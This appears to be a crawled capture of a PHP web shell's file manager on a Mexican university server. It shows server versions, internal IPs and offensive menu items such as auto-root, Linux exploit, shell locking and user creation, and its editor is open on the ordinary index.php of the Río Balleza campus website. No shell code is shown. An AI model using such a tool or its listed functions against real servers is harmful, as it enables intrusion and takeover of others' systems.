Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
htdocs /
UTPRioBalleza /
[ HOME SHELL ]
Name
Size
Permission
Action
carreras
[ DIR ]
drwxrwxr-x
imagenes
[ DIR ]
drwxrwxr-x
imagenes_carrusel
[ DIR ]
drwxrwxr-x
logos
[ DIR ]
drwxrwxr-x
pdfs
[ DIR ]
drwxrwxr-x
index.php
32.98
KB
-rw-rw-r--
stylesballeza.css
35.68
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.php
<!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no"> <title>Unidad Académica Río Balleza - Extensión UTP</title> <!-- Meta tags SEO --> <meta name="description" content="Unidad Académica Río Balleza - Extensión de la Universidad Tecnológica de Parral. Oferta educativa en Tecnologías de la Información e Innovación Digital y Licenciatura en Administración."> <meta name="keywords" content="universidad, educación superior, Balleza, Chihuahua, ingeniería, administración, UTP, extensión universitaria"> <meta name="author" content="Unidad Académica Río Balleza"> <meta property="og:title" content="Unidad Académica Río Balleza"> <meta property="og:description" content="Formación profesional de calidad en el municipio de Balleza, Chihuahua. Extensión de la Universidad Tecnológica de Parral."> <meta property="og:type" content="website"> <meta property="og:url" content="https://utparral.edu.mx/rio-balleza"> <link rel="canonical" href="https://utparral.edu.mx/rio-balleza"> <!-- Favicon --> <link rel="shortcut icon" href="logos/UTP.png" type="image/png"> <!-- Hojas de estilo --> <link rel="stylesheet" href="stylesballeza.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css"> </head> <body> <!-- Barra superior de contacto --> <div class="top-bar" role="note" aria-label="Información de contacto"> <span><i class="fas fa-map-marker-alt" aria-hidden="true"></i> Balleza, Chihuahua</span> <span><i class="fas fa-phone" aria-hidden="true"></i> 649 102 7049</span> <span><i class="fas fa-clock" aria-hidden="true"></i> Lunes a Viernes: 07:00 - 16:00</span> </div> <!-- Encabezado principal --> <header role="banner"> <div class="header-content"> <div class="logo-container"> <img src="logos/UTP.png" alt="Logo Universidad Tecnológica de Parral" class="logo"> <div class="logo-text"> UTP Unidad Académica Río Balleza </div> </div> <div class="header-nav"> <!-- Menú desktop --> <nav class="desktop-menu" role="navigation" aria-label="Menú principal"> <a href="#oferta" aria-label="Ir a oferta educativa">Oferta Educativa</a> <a href="#conocenos" aria-label="Conocer más sobre nosotros">Conócenos</a> <a href="#instalaciones" aria-label="Ver galería de instalaciones">Galería</a> <a href="#contacto" aria-label="Ir a información de contacto">Contacto</a> <a href="https://www.utparral.edu.mx" class="header-link" target="_blank" rel="noopener noreferrer" aria-label="Ir a la página principal de UTP"> <i class="fas fa-home" aria-hidden="true"></i> Página Principal UTP </a> </nav> <!-- Menú móvil --> <div class="mobile-menu-container"> <button class="mobile-menu-btn" id="mobileMenuBtn" aria-label="Abrir menú de navegación" aria-expanded="false" aria-controls="mobileMenu"> <i class="fas fa-bars" aria-hidden="true"></i> </button> <nav class="mobile-menu" id="mobileMenu" role="navigation" aria-label="Menú móvil" hidden> <a href="#oferta" aria-label="Ir a oferta educativa">Oferta Educativa</a> <a href="#conocenos" aria-label="Conocer más sobre nosotros">Conócenos</a> <a href="#instalaciones" aria-label="Ver galería de instalaciones">Galería</a> <a href="#contacto" aria-label="Ir a información de contacto">Contacto</a> <a href="https://www.utparral.edu.mx" target="_blank" rel="noopener noreferrer" aria-label="Ir a la página principal de UTP"> <i class="fas fa-home" aria-hidden="true"></i> Página Principal UTP </a> </nav> </div> </div> </div> </header> <!-- Contenido principal --> <main role="main"> <!-- Carrusel de imágenes --> <div class="carousel-wrapper"> <div class="carousel-container"> <div class="carousel-slide" id="carousel"> <?php $imagenes_carrusel = glob("imagenes_carrusel/*.{jpg,jpeg,png,gif,webp}", GLOB_BRACE); if (empty($imagenes_carrusel)) { echo '<img src="imagenes/default-campus.jpg" alt="Campus UTP Río Balleza" loading="lazy" width="1200" height="675">'; } else { foreach ($imagenes_carrusel as $img) { echo '<img src="' . htmlspecialchars($img) . '" alt="Imagen del campus UTP Río Balleza" loading="lazy" width="1200" height="675">'; } } ?> </div> <button class="arrow left-arrow" onclick="prevSlide()" aria-label="Imagen anterior"> <i class="fas fa-chevron-left" aria-hidden="true"></i> </button> <button class="arrow right-arrow" onclick="nextSlide()" aria-label="Siguiente imagen"> <i class="fas fa-chevron-right" aria-hidden="true"></i> </button> <div class="dots" id="dots" role="tablist" aria-label="Control de diapositivas"></div> </div> </div> <!-- Sección Oferta Educativa --> <section class="ofrecemos" id="oferta" aria-label="Oferta educativa"> <div class="cards-container"> <!-- Tarjeta de Ingeniería en TIC - LOGOTIPO AUMENTADO --> <div class="career-card"> <div class="card-header"> <!-- Logotipo de la carrera - TAMAÑO AUMENTADO --> <img src="carreras/IRIC.png" alt="Logotipo de Ingeniería en Tecnologías de la Información e Innovación Digital" class="career-logo"> <h3 class="card-title">Ingeniería en Tecnologías de la Información e Innovación Digital</h3> </div> <div class="card-body"> <div class="card-description"> <p>Desarrolla habilidades en tecnología de la información, innovación digital y gestión de sistemas tecnológicos.<br><br>La tecnología y la innovación son los principales objetivos, los cuales se alcanzan a través de diversos acercamientos a las nuevas tecnologías, facilitados por la participación en eventos tecnológicos.</p> </div> <div class="card-actions"> <button class="pdf-button" onclick="window.open('pdfs/mapa-curricular-ING.pdf', '_blank')" aria-label="Descargar mapa curricular de Ingeniería en TIC"> <i class="fas fa-file-pdf" aria-hidden="true"></i> Ver Mapa Curricular (PDF) </button> <button class="contact-button" onclick="window.location.href='#contacto'" aria-label="Solicitar información sobre esta carrera"> <i class="fas fa-info-circle" aria-hidden="true"></i> Solicitar Información </button> </div> </div> </div> <!-- Tarjeta de Licenciatura en Administración - LOGOTIPO AUMENTADO --> <div class="career-card"> <div class="card-header"> <!-- Logotipo de la carrera - TAMAÑO AUMENTADO --> <img src="carreras/LGNP.png" alt="Logotipo de Licenciatura en Administración" class="career-logo"> <h3 class="card-title">Licenciatura en Administración</h3><br> </div> <div class="card-body"> <div class="card-description"> <p>Formación integral para la gestión de empresas, control de procesos y toma de decisiones estratégicas.<br><br>La administración eficiente es la clave del éxito de cualquier organización.</p> </div> <div class="card-actions"> <button class="pdf-button" onclick="window.open('pdfs/mapa-curricular-LIC.pdf', '_blank')" aria-label="Descargar mapa curricular de Licenciatura en Administración"> <i class="fas fa-file-pdf" aria-hidden="true"></i> Ver Mapa Curricular (PDF) </button> <button class="contact-button" onclick="window.location.href='#contacto'" aria-label="Solicitar información sobre esta carrera"> <i class="fas fa-info-circle" aria-hidden="true"></i> Solicitar Información </button> </div> </div> </div> </div> </section> <!-- Sección Conócenos con Facebook rediseñado --> <section id="conocenos" aria-labelledby="conocenos-titulo"> <div class="conocenos-container"> <div class="conocenos-left"> <h2 id="conocenos-titulo">Conócenos</h2> <div class="accordion-container"> <!-- Historia --> <div class="accordion-item"> <button class="accordion-header" aria-expanded="false" aria-controls="historia-content"> <span>Historia de Nuestra Institución</span> <i class="fas fa-plus accordion-icon" aria-hidden="true"></i> </button> <div class="accordion-content" id="historia-content"> <p>La Unidad Académica Río Balleza es una extensión de la Universidad Tecnológica de Parral (UTP), ubicada en el municipio de Balleza, Chihuahua. Fue autorizada para iniciar operaciones en el ciclo escolar 2012-2013, con la oferta educativa de Técnico Superior Universitario en Agricultura Sustentable, así como en Administración y Evaluación de Proyectos.</p> <p>Actualmente, la Unidad Académica Río Balleza amplía su propuesta académica con los programas de Licenciatura en Administración e Ingeniería en Tecnologías de la Información e Innovación Digital, reafirmando su compromiso con la formación profesional de calidad y el desarrollo regional.</p> </div> </div> <!-- Política de Calidad --> <div class="accordion-item"> <button class="accordion-header" aria-expanded="false" aria-controls="politica-content"> <span>Política de Calidad</span> <i class="fas fa-plus accordion-icon" aria-hidden="true"></i> </button> <div class="accordion-content" id="politica-content"> <em>ISO 9001:2015 e ISO 21001:2018</em> <p>En la Universidad Tecnológica de Parral estamos comprometidos a proporcionar una educación integral con enfoque tecnológico, gestionando la propiedad intelectual y formando profesionistas competitivos de acuerdo a los requerimientos pertinentes, que logren la satisfacción del estudiante y todas las partes interesadas considerando acciones de responsabilidad social y mejora continua de nuestro Sistema de Gestión Integrado.</p> <span class="final-text">Es-01-01 : R2;110321</span> </div> </div> <!-- Misión --> <div class="accordion-item"> <button class="accordion-header" aria-expanded="false" aria-controls="mision-content"> <span>Misión Institucional</span> <i class="fas fa-plus accordion-icon" aria-hidden="true"></i> </button> <div class="accordion-content" id="mision-content"> <em>ISO 9001:2015 e ISO 21001:2018</em> <p>Formar profesionistas altamente capacitados y competitivos con actitudes y conocimientos científicos y tecnológicos, mediante programas educativos acreditados en los niveles de Técnico Superior Universitario y Licenciatura bajo el modelo de competencias profesionales y una mejora continua que contribuya responsablemente a la solución de problemas de la sociedad.</p> <span class="final-text">Es-01-02 :R2;110321</span> </div> </div> <!-- Visión --> <div class="accordion-item"> <button class="accordion-header" aria-expanded="false" aria-controls="vision-content"> <span>Visión</span> <i class="fas fa-plus accordion-icon" aria-hidden="true"></i> </button> <div class="accordion-content" id="vision-content"> <em>ISO 9001:2015 e ISO 21001:2018</em> <p>"Iremos más allá..." de ser, una institución de educación superior líder en la región, reconocida por la calidad en sus programas educativos y en la capacidad adquirida de sus egresados, para dar respuesta pertinente a las necesidades de los sectores productivos; con un enfoque innovador, sustentable, social y humano.</p> <span class="final-text">Es-01-03 :R2;110321</span> </div> </div> </div> </div> <!-- Sección Facebook - SIN BOTONES ADICIONALES --> <div class="conocenos-right"> <div class="fb-section"> <h2><i class="fab fa-facebook" aria-hidden="true"></i> Síguenos en Facebook</h2> <div class="fb-iframe-container"> <iframe src="https://www.facebook.com/plugins/page.php?href=https://www.facebook.com/UTPRioBalleza&tabs=timeline&width=500&height=400&small_header=false&adapt_container_width=true&hide_cover=false&show_facepile=true&appId" width="100%" height="400" style="border:none;overflow:hidden" scrolling="no" frameborder="0" allowfullscreen="true" allow="autoplay; clipboard-write; encrypted-media; picture-in-picture; web-share" title="Página de Facebook de UTP Río Balleza" loading="lazy"> </iframe> </div> </div> </div> </div> </section> <!-- Sección Galería --> <section id="instalaciones" aria-labelledby="galeria-titulo"> <div class="galeria-section"> <h2 id="galeria-titulo" class="galeria-title">Galería Multimedia</h2> <p class="galeria-intro"> Explora nuestra galería de imágenes para conocer más sobre la vida universitaria en la Unidad Académica Río Balleza. </p> <div class="galeria-container-simple"> <button class="main-gallery-btn" onclick="openModal()" aria-label="Abrir galería completa de imágenes"> <i class="fas fa-images" aria-hidden="true"></i> Ver Galería Completa </button> </div> </div> </section> <!-- Sección de Contacto --> <section class="contact-section" id="contacto" aria-labelledby="contacto-titulo"> <div class="contact-wrapper"> <div class="contact-map"> <div class="contact-map-title">📍 Nuestra Ubicación</div> <iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1452.708151738945!2d-106.37110316368691!3d26.95470167580972!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x86958318168bbf9f%3A0xba3abe29f0bfc240!2sUTP%20Unidad%20Acad%C3%A9mica%20R%C3%ADo%20Balleza!5e0!3m2!1ses!2smx!4v1749051310703!5m2!1ses!2smx" width="100%" height="400" style="border:0;" allowfullscreen="" loading="lazy" referrerpolicy="no-referrer-when-downgrade" title="Ubicación de UTP Unidad Académica Río Balleza"> </iframe> </div> <div class="contact-info"> <h2 id="contacto-titulo" class="contact-heading">Conéctate con Nosotros</h2> <ul class="contact-links" role="list"> <li class="contact-item" role="listitem"> <i class="fab fa-facebook-f contact-icon" aria-hidden="true"></i> <a href="https://www.facebook.com/ticsballeza/?locale=es_LA" class="contact-link" target="_blank" rel="noopener noreferrer" aria-label="Visitar Facebook de Ingeniería en TIC"> Ingeniería en Tecnologías de la Información e Innovación Digital </a> </li> <li class="contact-item" role="listitem"> <i class="fab fa-facebook-f contact-icon" aria-hidden="true"></i> <a href="https://www.facebook.com/people/Lic-Gesti%C3%B3n-de-Negocios-y-Proyectos/100091419180982/" class="contact-link" target="_blank" rel="noopener noreferrer" aria-label="Visitar Facebook de Licenciatura en Administración"> Licenciatura en Administración </a> </li> <li class="contact-item" role="listitem"> <i class="fas fa-phone contact-icon" aria-hidden="true"></i> <span class="contact-text">Teléfono: 649 102 7049</span> </li> <li class="contact-item" role="listitem"> <i class="fas fa-clock contact-icon" aria-hidden="true"></i> <span class="contact-text">Horario: Lunes a Viernes 07:00 - 16:00</span> </li> <li class="contact-item" role="listitem"> <i class="fas fa-map-marker-alt contact-icon" aria-hidden="true"></i> <span class="contact-text">Balleza, Chihuahua, México</span> </li> <li class="contact-item" role="listitem"> <i class="fas fa-globe contact-icon" aria-hidden="true"></i> <a href="https://www.utparral.edu.mx" class="contact-link" target="_blank" rel="noopener noreferrer" aria-label="Visitar página principal de UTP"> Página Principal UTP </a> </li> </ul> </div> </div> </section> </main> <!-- Footer --> <footer role="contentinfo"> <div class="footer-content"> <div class="footer-section"> <h3>Unidad Académica Río Balleza</h3> <p><i class="fas fa-university" aria-hidden="true"></i> Extensión de la Universidad Tecnológica de Parral</p> <p><i class="fas fa-map-marker-alt" aria-hidden="true"></i> Balleza, Chihuahua, México</p> <p><i class="fas fa-phone" aria-hidden="true"></i> 649 102 7049</p> </div> <div class="footer-section"> <h3>Enlaces rápidos</h3> <a href="#oferta"><i class="fas fa-graduation-cap" aria-hidden="true"></i> Oferta educativa</a> <a href="#conocenos"><i class="fas fa-info-circle" aria-hidden="true"></i> Conócenos</a> <a href="#instalaciones"><i class="fas fa-images" aria-hidden="true"></i> Galería</a> <a href="#contacto"><i class="fas fa-envelope" aria-hidden="true"></i> Contacto</a> <a href="https://www.utparral.edu.mx" target="_blank" rel="noopener noreferrer"> <i class="fas fa-external-link-alt" aria-hidden="true"></i> Página Principal UTP </a> </div> <div class="footer-section"> <h3>Síguenos</h3> <p>Conecta con nuestra comunidad educativa</p> <div class="social-icons"> <a href="https://facebook.com/UTPRioBalleza" target="_blank" rel="noopener noreferrer" aria-label="Facebook"> <i class="fab fa-facebook-f" aria-hidden="true"></i> </a> </div> </div> </div> <div class="footer-bottom"> © 2025 Unidad Académica Río Balleza · Todos los derechos reservados <br> <small>Una extensión de la Universidad Tecnológica de Parral</small> </div> </footer> <!-- Modal de Galería Completa --> <div id="modal" role="dialog" aria-modal="true" aria-labelledby="modal-title" hidden> <div class="modal-content"> <div class="modal-header"> <h2 id="modal-title" class="modal-title">Galería Completa</h2> <button class="modal-close" onclick="closeModal()" aria-label="Cerrar galería"> <i class="fas fa-times" aria-hidden="true"></i> </button> </div> <!-- Filtros en modal --> <div class="modal-gallery-filters"> <button class="modal-filter-btn active" onclick="filterGalleryModal('all')"> <i class="fas fa-layer-group" aria-hidden="true"></i> Todas las Imágenes </button> <button class="modal-filter-btn" onclick="filterGalleryModal('eventos')"> <i class="fas fa-calendar-alt" aria-hidden="true"></i> Eventos </button> <button class="modal-filter-btn" onclick="filterGalleryModal('instalaciones')"> <i class="fas fa-building" aria-hidden="true"></i> Instalaciones </button> <button class="modal-filter-btn" onclick="filterGalleryModal('alumnos')"> <i class="fas fa-users" aria-hidden="true"></i> Alumnos </button> <button class="modal-filter-btn" onclick="filterGalleryModal('laboratorios')"> <i class="fas fa-flask" aria-hidden="true"></i> Laboratorios </button> </div> <!-- Contenedor dinámico para cada categoría --> <div id="modal-gallery-container"> <!-- Se llenará dinámicamente con JavaScript --> <?php // Cargar imágenes directamente con PHP $categorias = [ 'eventos' => 'Eventos Universitarios', 'instalaciones' => 'Nuestras Instalaciones', 'alumnos' => 'Vida Estudiantil', 'laboratorios' => 'Laboratorios Especializados' ]; foreach ($categorias as $categoria => $titulo) { echo '<div class="modal-category" id="category-' . $categoria . '">'; echo '<h3 class="modal-category-title"><i class="fas fa-' . getIconForCategory($categoria) . '" aria-hidden="true"></i> ' . $titulo . '</h3>'; echo '<p class="modal-category-description">' . getDescriptionForCategory($categoria) . '</p>'; echo '<div class="galeria-contenedor" id="gallery-' . $categoria . '">'; // Cargar imágenes de la categoría $imagenes = glob("imagenes/{$categoria}/*.{jpg,jpeg,png,gif,webp}", GLOB_BRACE); if (!empty($imagenes)) { foreach ($imagenes as $img) { echo '<img src="' . htmlspecialchars($img) . '" alt="' . $titulo . ' - Imagen" loading="lazy" onclick="openImageModal(\'' . htmlspecialchars($img) . '\')">'; } } else { echo '<p class="no-images-message">No hay imágenes disponibles en esta categoría. Sube imágenes a la carpeta <code>imagenes/' . $categoria . '/</code></p>'; } echo '</div>'; echo '</div>'; } // Funciones auxiliares function getIconForCategory($category) { $icons = [ 'eventos' => 'calendar-alt', 'instalaciones' => 'building', 'alumnos' => 'users', 'laboratorios' => 'flask' ]; return $icons[$category] ?? 'image'; } function getDescriptionForCategory($category) { $descriptions = [ 'eventos' => '', 'instalaciones' => '', 'alumnos' => '', 'laboratorios' => '' ]; return $descriptions[$category] ?? 'Imágenes de la categoría ' . $category; } ?> </div> </div> </div> <!-- Modal de Imagen Ampliada --> <div id="imageModal" class="image-modal" hidden> <div class="image-modal-content"> <button class="image-modal-close" onclick="closeImageModal()" aria-label="Cerrar imagen"> <i class="fas fa-times" aria-hidden="true"></i> </button> <img id="expandedImage" src="" alt="Imagen ampliada"> </div> </div> <!-- Botón flotante de WhatsApp --> <div class="whatsapp-float" role="complementary" aria-label="Chat de WhatsApp"> <a href="https://wa.me/526491027049" target="_blank" rel="noopener noreferrer" aria-label="Chatear por WhatsApp con UTP Río Balleza"> <img src="https://upload.wikimedia.org/wikipedia/commons/6/6b/WhatsApp.svg" alt="Icono de WhatsApp"> <span>Chatea con la UARBalleza</span> </a> </div> <!-- Botón "Volver arriba" --> <button id="backToTop" aria-label="Volver al inicio de la página"> <i class="fas fa-chevron-up" aria-hidden="true"></i> </button> <!-- Scripts JavaScript --> <script> // Control del menú móvil const mobileMenuBtn = document.getElementById('mobileMenuBtn'); const mobileMenu = document.getElementById('mobileMenu'); mobileMenuBtn.addEventListener('click', function() { const expanded = this.getAttribute('aria-expanded') === 'true'; this.setAttribute('aria-expanded', !expanded); mobileMenu.hidden = expanded; if (!expanded) { mobileMenu.classList.add('active'); this.innerHTML = '<i class="fas fa-times" aria-hidden="true"></i>'; } else { mobileMenu.classList.remove('active'); this.innerHTML = '<i class="fas fa-bars" aria-hidden="true"></i>'; } }); // Cerrar menú al seleccionar una opción mobileMenu.querySelectorAll('a').forEach(link => { link.addEventListener('click', () => { mobileMenu.classList.remove('active'); mobileMenu.hidden = true; mobileMenuBtn.setAttribute('aria-expanded', 'false'); mobileMenuBtn.innerHTML = '<i class="fas fa-bars" aria-hidden="true"></i>'; }); }); // Carrusel de imágenes const carousel = document.getElementById('carousel'); const images = carousel.children; const dotsContainer = document.getElementById('dots'); let currentIndex = 0; let carouselInterval; // Inicializar puntos del carrusel function initCarousel() { dotsContainer.innerHTML = ''; for (let i = 0; i < images.length; i++) { const dot = document.createElement('button'); dot.classList.add('dot'); dot.setAttribute('role', 'tab'); dot.setAttribute('aria-label', `Ir a imagen ${i + 1}`); dot.setAttribute('aria-selected', i === 0 ? 'true' : 'false'); if (i === 0) dot.classList.add('active'); dot.addEventListener('click', () => goToSlide(i)); dotsContainer.appendChild(dot); } } function updateCarousel() { carousel.style.transform = `translateX(-${currentIndex * 100}%)`; // Actualizar puntos document.querySelectorAll('.dot').forEach((dot, index) => { dot.classList.toggle('active', index === currentIndex); dot.setAttribute('aria-selected', index === currentIndex ? 'true' : 'false'); }); } function nextSlide() { currentIndex = (currentIndex + 1) % images.length; updateCarousel(); resetCarouselInterval(); } function prevSlide() { currentIndex = (currentIndex - 1 + images.length) % images.length; updateCarousel(); resetCarouselInterval(); } function goToSlide(index) { currentIndex = index; updateCarousel(); resetCarouselInterval(); } function startCarouselInterval() { carouselInterval = setInterval(nextSlide, 6000); } function resetCarouselInterval() { clearInterval(carouselInterval); startCarouselInterval(); } // Inicializar carrusel initCarousel(); startCarouselInterval(); // Swipe para el carrusel en móviles let touchStartX = 0; let touchEndX = 0; const carouselContainer = document.querySelector('.carousel-container'); carouselContainer.addEventListener('touchstart', e => { touchStartX = e.changedTouches[0].screenX; clearInterval(carouselInterval); }, {passive: true}); carouselContainer.addEventListener('touchend', e => { touchEndX = e.changedTouches[0].screenX; handleSwipe(); resetCarouselInterval(); }, {passive: true}); function handleSwipe() { const swipeThreshold = 50; const diff = touchStartX - touchEndX; if (Math.abs(diff) > swipeThreshold) { if (diff > 0) { nextSlide(); } else { prevSlide(); } } } // Acordeones mejorados const accordionHeaders = document.querySelectorAll('.accordion-header'); accordionHeaders.forEach(header => { header.addEventListener('click', () => { const expanded = header.getAttribute('aria-expanded') === 'true'; const content = document.getElementById(header.getAttribute('aria-controls')); // Cerrar todos los acordeones accordionHeaders.forEach(h => { const c = document.getElementById(h.getAttribute('aria-controls')); h.setAttribute('aria-expanded', 'false'); c.classList.remove('active'); }); // Abrir el acordeón clickeado si estaba cerrado if (!expanded) { header.setAttribute('aria-expanded', 'true'); content.classList.add('active'); } }); }); // Modal de galería const modal = document.getElementById('modal'); const imageModal = document.getElementById('imageModal'); const expandedImage = document.getElementById('expandedImage'); let currentModalFilter = 'all'; function openModal() { modal.hidden = false; modal.style.display = 'flex'; document.body.style.overflow = 'hidden'; filterGalleryModal('all'); } function closeModal() { modal.hidden = true; modal.style.display = 'none'; document.body.style.overflow = 'auto'; } // Función para abrir imagen en modal grande function openImageModal(src) { expandedImage.src = src; expandedImage.alt = 'Imagen ampliada'; imageModal.hidden = false; imageModal.style.display = 'flex'; document.body.style.overflow = 'hidden'; } function closeImageModal() { imageModal.hidden = true; imageModal.style.display = 'none'; document.body.style.overflow = 'auto'; } // Cerrar modales con Escape document.addEventListener('keydown', (e) => { if (e.key === 'Escape') { if (!modal.hidden) { closeModal(); } if (!imageModal.hidden) { closeImageModal(); } } }); // Cerrar modales haciendo clic fuera modal.addEventListener('click', (e) => { if (e.target === modal) { closeModal(); } }); imageModal.addEventListener('click', (e) => { if (e.target === imageModal) { closeImageModal(); } }); function filterGalleryModal(category) { currentModalFilter = category; const filterButtons = document.querySelectorAll('.modal-filter-btn'); const categories = document.querySelectorAll('.modal-category'); // Actualizar botones activos filterButtons.forEach(btn => { btn.classList.remove('active'); if (btn.textContent.toLowerCase().includes(category) || (category === 'all' && btn.textContent.includes('Todas'))) { btn.classList.add('active'); } }); // Mostrar/ocultar categorías categories.forEach(cat => { if (category === 'all' || cat.id === 'category-' + category) { cat.style.display = 'block'; } else { cat.style.display = 'none'; } }); } // Botón "Volver arriba" const backToTopBtn = document.getElementById('backToTop'); window.addEventListener('scroll', () => { if (window.pageYOffset > 300) { backToTopBtn.style.display = 'flex'; } else { backToTopBtn.style.display = 'none'; } }); backToTopBtn.addEventListener('click', () => { window.scrollTo({ top: 0, behavior: 'smooth' }); }); // Cerrar menú móvil al hacer clic fuera document.addEventListener('click', (e) => { if (!mobileMenu.contains(e.target) && !mobileMenuBtn.contains(e.target)) { if (!mobileMenu.hidden) { mobileMenu.classList.remove('active'); mobileMenu.hidden = true; mobileMenuBtn.setAttribute('aria-expanded', 'false'); mobileMenuBtn.innerHTML = '<i class="fas fa-bars" aria-hidden="true"></i>'; } } }); // Efecto hover en tarjetas de carreras const careerCards = document.querySelectorAll('.career-card'); careerCards.forEach(card => { card.addEventListener('mouseenter', () => { card.style.transform = 'translateY(-10px)'; }); card.addEventListener('mouseleave', () => { card.style.transform = 'translateY(0)'; }); }); // Manejar clics en botones PDF document.querySelectorAll('.pdf-button').forEach(button => { button.addEventListener('click', function(e) { const carrera = this.closest('.career-card').querySelector('.card-title').textContent; console.log(`Abriendo mapa curricular para: ${carrera}`); }); }); </script> </body> </html>
Close